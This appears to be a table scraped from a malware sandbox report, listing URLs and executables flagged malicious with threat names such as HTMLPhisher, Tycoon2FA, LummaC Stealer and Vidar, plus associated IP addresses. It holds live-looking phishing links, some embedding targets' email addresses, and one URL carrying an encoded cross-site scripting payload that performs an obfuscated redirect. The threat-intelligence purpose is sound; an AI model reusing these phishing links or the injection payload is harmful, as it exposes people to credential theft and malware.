	https://b8le2c5j.r.us-east-2.awstrack.me/L0/https:%2F%2Fslivtovara.ru%2Fbitrix%2Fredirect.php%3Fevent1=click_to_call%26event2=%26event3=%26goto=https:%2F%2F7qrw.wanianten.com%2FGhGNAL8%2F%23Pamy@derick.com/1/010f0190ec251e7b-a039cc69-e4b5-46b3-9c67-bbe921a600f9-000000/LLZuw2OBV0eOHt3bnXuAzTOkJoc=169	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	188.114.96.3
	https://www.mfsociety.org/page.php?pageID=787144692108%22%3E%3Cimg%20src%3D%22image.jpg%22%20onerror%3D%22var%20url1%20%3D%20%5B%27http%3A%2F%2Fg%27%2C%27oog%27%2C%27le.com%27%2C%27%2F%27%2C%27%23%27%2C%27f%27%5D.join%28%27%27%29%3B%20var%20url2%20%3D%20%5B%27http%3A%2F%2Fg%27%2C%27oog%27%2C%27le.com%27%2C%27%2F%27%2C%27%23%27%2C%27f%27%5D.join%28%27%27%29%3B%0D%0Avar%20url%20%3D%20%5B%27htt%27%2C%27ps%3A%2F%2Fw%27%2C%27ww%27%2C%27.da%27%2C%27ta%27%2C%274t%27%2C%27rai%27%2C%27l.co%27%2C%27m%2F2%27%2C%275P%27%2C%27BNZ%27%2C%2799%2F7C%27%2C%27DMX%27%2C%27ZZ%27%2C%27N%2F%3Fsub1%3D13%26sub2%3D350-15156%26sub3%3D1265-22455-21626%27%5D.join%28%27%27%29%3B%0D%0A%20url%20%3D%20url.replace%28%2F%2C%2Fg%2C%20%27%27%29%3B%20var%20win%20%3D%20window.open%28url%2C%20%27_self%27%29%3B%20win.opener%20%3D%20null%3B%20win.location.replace%28url%29%3B%22%3E#ALwqRdmzZAyXJwdL33Pq	Get hash	malicious	Unknown	Browse	104.17.25.14
	Launcher.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.96.3
	github_softwares_v1.18.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer	Browse	172.67.159.243
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Babadeda	Browse	172.64.41.3
	https://intralinks.us.com/jallessI1Ae2APharrI1AsassoTxcz01coTxm	Get hash	malicious	HTMLPhisher	Browse	172.67.159.233
	https://mrlocksmithpenticton.com/mlc/	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	https://new-sneww-online-nowz-all.azurewebsites.net/?referrer=appmetrica_tracking_id%3D173005530304969909%26ym_tracking_id%3D10094745761516744100	Get hash	malicious	Unknown	Browse	104.18.36.155

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	file.exe	Get hash	malicious	Babadeda	Browse	23.1.237.91
	https://click.pstmrk.it/3s/www.rxeffect.com/xrJC/8OO2AQ/AQ/7b025ed7-37dd-46f9-8a3c-79d484929f8e/1/x7UnC8G8B9	Get hash	malicious	Unknown	Browse	23.1.237.91
	http://cursostop10.com.br/adm/rudd/?email=nathalie.petillon@chirec.be	Get hash	malicious	HTMLPhisher	Browse	23.1.237.91
	https://nasyiahgamping.com/_loader.html?send_id=eh&tvi2_RxT=cp.appriver.com%2Fservices%2Fspamlab%2Fhmr%2FPrepareHMRAccess.aspx%3Fex%3DCwl7OpqsAW8UXOjQpfNORMYziqeg%252fwcMKDuZuqPM%252b44%253d%26et%3DSCXX1gC0hGLFIJMBjJa%252bcPyzP9zDkcUvJzlJx8HAPYIwHybHJtlKKhvlY68%252fb09k%252bq%252fmbrOOqiV%252brsXviFPAevdalHsK83HP&url=aHR0cHM6Ly9maW5hbmNlcGhpbGUuY29tL3dwLWluY2x1ZGVzL2ltZy9kLnNhdXRpZXJAc2JtLm1j	Get hash	malicious	HTMLPhisher	Browse	23.1.237.91
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	23.1.237.91
	file.exe	Get hash	malicious	Babadeda	Browse	23.1.237.91
	file.exe	Get hash	malicious	Babadeda	Browse	23.1.237.91
	http://cs9.biz	Get hash	malicious	Unknown	Browse	23.1.237.91
	file.exe	Get hash	malicious	Babadeda	Browse	23.1.237.91
	7Y18r(169).exe	Get hash	malicious	CryptOne	Browse	23.1.237.91
28a2c9bd18a11de089ef85a160da29e4	https://b8le2c5j.r.us-east-2.awstrack.me/L0/https:%2F%2Fslivtovara.ru%2Fbitrix%2Fredirect.php%3Fevent1=click_to_call%26event2=%26event3=%26goto=https:%2F%2F7qrw.wanianten.com%2FGhGNAL8%2F%23Pamy@derick.com/1/010f0190ec251e7b-a039cc69-e4b5-46b3-9c67-bbe921a600f9-000000/LLZuw2OBV0eOHt3bnXuAzTOkJoc=169	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	13.85.23.86
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	13.85.23.86
	file.exe	Get hash	malicious	Babadeda	Browse	13.85.23.86
	https://intralinks.us.com/jallessI1Ae2APharrI1AsassoTxcz01coTxm	Get hash	malicious	HTMLPhisher	Browse	13.85.23.86
	https://mrlocksmithpenticton.com/mlc/	Get hash	malicious	HTMLPhisher	Browse	13.85.23.86
	https://new-sneww-online-nowz-all.azurewebsites.net/?referrer=appmetrica_tracking_id%3D173005530304969909%26ym_tracking_id%3D10094745761516744100	Get hash	malicious	Unknown	Browse	13.85.23.86
	https://1drv.ms/b/c/0524e941baea8759/EbTQ6AvSTkdPuFAldWpGokYBh0MxWHPfUcZj1H5z_yZ5Ew?e=cIicc7	Get hash	malicious	Unknown	Browse	13.85.23.86
	https://www.canva.com/design/DAGMEHwBhBU/KuqkCNaGGLCBR8SypHXNgw/edit?utm_content=DAGMEHwBhBU&utm_campaign=designshare&utm_medium=link2&utm_source=sharebutton	Get hash	malicious	Unknown	Browse	13.85.23.86
	https://forms.office.com/r/qq9c20HBqa	Get hash	malicious	Tycoon2FA	Browse	13.85.23.86
	https://123formbuilder.info/wj412l/#9ryano@vib.tech	Get hash	malicious	HTMLPhisher	Browse	13.85.23.86